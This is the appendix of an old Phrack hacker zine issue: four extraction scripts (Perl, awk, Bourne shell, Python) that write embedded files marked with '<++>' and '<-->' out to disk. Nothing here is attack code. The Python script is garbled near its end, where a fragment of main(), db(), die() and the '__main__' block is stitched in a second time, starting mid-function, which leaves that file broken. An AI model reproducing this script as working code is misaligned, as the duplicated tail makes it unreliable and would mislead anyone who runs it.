|
|||
|
<-->
|
|||
|
<++> EX/PMEU/extract.pl
|
|||
|
# Daos <daos@nym.alias.net>
|
|||
|
#!/bin/sh -- # -*- perl -*- -n
|
|||
|
eval 'exec perl $0 -S ${1+"$@"}' if 0;
|
|||
|
|
|||
|
$opening=0;
|
|||
|
|
|||
|
if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
|
|||
|
if (/^\<\-\-\>/) {close ct_ex; $opened=0;};
|
|||
|
if ($opening) {
|
|||
|
chop $curfile;
|
|||
|
$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);
|
|||
|
eval {mkdir $sex_dir, "0777";};
|
|||
|
open(ct_ex,">$curfile");
|
|||
|
print "Attempting extraction of $curfile\n";
|
|||
|
$opened=1;
|
|||
|
}
|
|||
|
if ($opened && !$opening) {print ct_ex $_};
|
|||
|
<-->
|
|||
|
|
|||
|
<++> EX/PMEU/extract.awk
|
|||
|
#!/usr/bin/awk -f
|
|||
|
#
|
|||
|
# Yet Another Extraction Script
|
|||
|
# - <sirsyko>
|
|||
|
#
|
|||
|
/^\<\+\+\>/ {
|
|||
|
ind = 1
|
|||
|
File = $2
|
|||
|
split ($2, dirs, "/")
|
|||
|
Dir="."
|
|||
|
while ( dirs[ind+1] ) {
|
|||
|
Dir=Dir"/"dirs[ind]
|
|||
|
system ("mkdir " Dir" 2>/dev/null")
|
|||
|
++ind
|
|||
|
}
|
|||
|
next
|
|||
|
}
|
|||
|
/^\<\-\-\>/ {
|
|||
|
File = ""
|
|||
|
next
|
|||
|
}
|
|||
|
File { print >> File }
|
|||
|
<-->
|
|||
|
<++> EX/PMEU/extract.sh
|
|||
|
#!/bin/sh
|
|||
|
# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko>
|
|||
|
#
|
|||
|
# note, this file will create all directories relative to the current directory
|
|||
|
# originally a bug, I've now upgraded it to a feature since I dont want to deal
|
|||
|
# with the leading / (besides, you dont want hackers giving you full pathnames
|
|||
|
# anyway, now do you :)
|
|||
|
# Hopefully this will demonstrate another useful aspect of IFS other than
|
|||
|
# haxoring rewt
|
|||
|
#
|
|||
|
# Usage: ./extract.sh <filename>
|
|||
|
|
|||
|
cat $* | (
|
|||
|
Working=1
|
|||
|
while [ $Working ];
|
|||
|
do
|
|||
|
OLDIFS1="$IFS"
|
|||
|
IFS=
|
|||
|
if read Line; then
|
|||
|
IFS="$OLDIFS1"
|
|||
|
set -- $Line
|
|||
|
case "$1" in
|
|||
|
"<++>") OLDIFS2="$IFS"
|
|||
|
IFS=/
|
|||
|
set -- $2
|
|||
|
IFS="$OLDIFS2"
|
|||
|
while [ $# -gt 1 ]; do
|
|||
|
File=${File:-"."}/$1
|
|||
|
if [ ! -d $File ]; then
|
|||
|
echo "Making dir $File"
|
|||
|
mkdir $File
|
|||
|
fi
|
|||
|
shift
|
|||
|
done
|
|||
|
File=${File:-"."}/$1
|
|||
|
echo "Storing data in $File"
|
|||
|
;;
|
|||
|
"<-->") if [ "x$File" != "x" ]; then
|
|||
|
unset File
|
|||
|
fi ;;
|
|||
|
*) if [ "x$File" != "x" ]; then
|
|||
|
IFS=
|
|||
|
echo "$Line" >> $File
|
|||
|
IFS="$OLDIFS1"
|
|||
|
fi
|
|||
|
;;
|
|||
|
esac
|
|||
|
IFS="$OLDIFS1"
|
|||
|
else
|
|||
|
echo "End of file"
|
|||
|
unset Working
|
|||
|
fi
|
|||
|
done
|
|||
|
)
|
|||
|
<-->
|
|||
|
<++> EX/PMEU/extract.py
|
|||
|
#! /bin/env python
|
|||
|
# extract.py Timmy 2tone <_spoon_@usa.net>
|
|||
|
|
|||
|
import sys, string, getopt, os
|
|||
|
|
|||
|
class Datasink:
|
|||
|
"""Looks like a file, but doesn't do anything."""
|
|||
|
def write(self, data): pass
|
|||
|
def close(self): pass
|
|||
|
|
|||
|
def extract(input, verbose = 1):
|
|||
|
"""Read a file from input until we find the end token."""
|
|||
|
|
|||
|
if type(input) == type('string'):
|
|||
|
fname = input
|
|||
|
try: input = open(fname)
|
|||
|
except IOError, (errno, why):
|
|||
|
print "Can't open %s: %s" % (fname, why)
|
|||
|
return errno
|
|||
|
else:
|
|||
|
fname = '<file descriptor %d>' % input.fileno()
|
|||
|
|
|||
|
inside_embedded_file = 0
|
|||
|
linecount = 0
|
|||
|
line = input.readline()
|
|||
|
while line:
|
|||
|
|
|||
|
if not inside_embedded_file and line[:4] == '<++>':
|
|||
|
|
|||
|
inside_embedded_file = 1
|
|||
|
linecount = 0
|
|||
|
|
|||
|
filename = string.strip(line[4:])
|
|||
|
if mkdirs_if_any(filename) != 0:
|
|||
|
pass
|
|||
|
|
|||
|
try: output = open(filename, 'w')
|
|||
|
except IOError, (errno, why):
|
|||
|
print "Can't open %s: %s; skipping file" % (filename, why)
|
|||
|
output = Datasink()
|
|||
|
continue
|
|||
|
|
|||
|
if verbose:
|
|||
|
print 'Extracting embedded file %s from %s...' % (filename,
|
|||
|
fname),
|
|||
|
|
|||
|
elif inside_embedded_file and line[:4] == '<-->':
|
|||
|
output.close()
|
|||
|
inside_embedded_file = 0
|
|||
|
if verbose and not isinstance(output, Datasink):
|
|||
|
print '[%d lines]' % linecount
|
|||
|
|
|||
|
elif inside_embedded_file:
|
|||
|
output.write(line)
|
|||
|
|
|||
|
# Else keep looking for a start token.
|
|||
|
line = input.readline()
|
|||
|
linecount = linecount + 1
|
|||
|
|
|||
|
def mkdirs_if_any(filename, verbose = 1):
|
|||
|
"""Check for existance of /'s in filename, and make directories."""
|
|||
|
|
|||
|
path, file = os.path.split(filename)
|
|||
|
if not path: return
|
|||
|
|
|||
|
errno = 0
|
|||
|
start = os.getcwd()
|
|||
|
components = string.split(path, os.sep)
|
|||
|
for dir in components:
|
|||
|
if not os.path.exists(dir):
|
|||
|
try:
|
|||
|
os.mkdir(dir)
|
|||
|
if verbose: print 'Created directory', path
|
|||
|
|
|||
|
except os.error, (errno, why):
|
|||
|
print "Can't make directory %s: %s" % (dir, why)
|
|||
|
break
|
|||
|
|
|||
|
try: os.chdir(dir)
|
|||
|
except os.error, (errno, why):
|
|||
|
print "Can't cd to directory %s: %s" % (dir, why)
|
|||
|
break
|
|||
|
|
|||
|
os.chdir(start)
|
|||
|
return errno
|
|||
|
|
|||
|
def usage():
|
|||
|
"""Blah."""
|
|||
|
die('Usage: extract.py [-V] filename [filename...]')
|
|||
|
|
|||
|
def main():
|
|||
|
try: optlist, args = getopt.getopt(sys.argv[1:], 'V')
|
|||
|
except getopt.error, why: usage()
|
|||
|
if len(args) <= 0: usage()
|
|||
|
|
|||
|
if ('-V', '') in optlist: verbose = 0
|
|||
|
else: verbose = 1
|
|||
|
|
|||
|
for filename in args:
|
|||
|
if verbose: print 'Opening source file', filename + '...'
|
|||
|
extract(filename, verbose)
|
|||
|
|
|||
|
def db(filename = 'P51-11'):
|
|||
|
"""Run this script in the python debugger."""
|
|||
|
import pdb
|
|||
|
sys.argv[1:] = ['-v', filename]
|
|||
|
pdb.run('extract.main()')
|
|||
|
|
|||
|
def die(msg, errcode = 1):
|
|||
|
print msg
|
|||
|
sys.exit(errcode)
|
|||
|
|
|||
|
if __name__ == '__main__':
|
|||
|
try: main()
|
|||
|
except KeyboardInterrupt: pass
|
|||
|
|
|||
|
|
|||
|
except getopt.error, why: usage()
|
|||
|
if len(args) <= 0: usage()
|
|||
|
|
|||
|
if ('-V', '') in optlist: verbose = 0
|
|||
|
else: verbose = 1
|
|||
|
|
|||
|
for filename in args:
|
|||
|
if verbose: print 'Opening source file', filename + '...'
|
|||
|
extract(filename, verbose)
|
|||
|
|
|||
|
def db(filename = 'P51-11'):
|
|||
|
"""Run this script in the python debugger."""
|
|||
|
import pdb
|
|||
|
sys.argv[1:] = [filename]
|
|||
|
pdb.run('extract.main()')
|
|||
|
|
|||
|
def die(msg, errcode = 1):
|
|||
|
print msg
|
|||
|
sys.exit(errcode)
|
|||
|
|
|||
|
if __name__ == '__main__':
|
|||
|
try: main()
|
|||
|
except KeyboardInterrupt: pass # No messy traceback.
|
|||
|
<-->
|
|||
|
|
|||
|
----[ EOF
|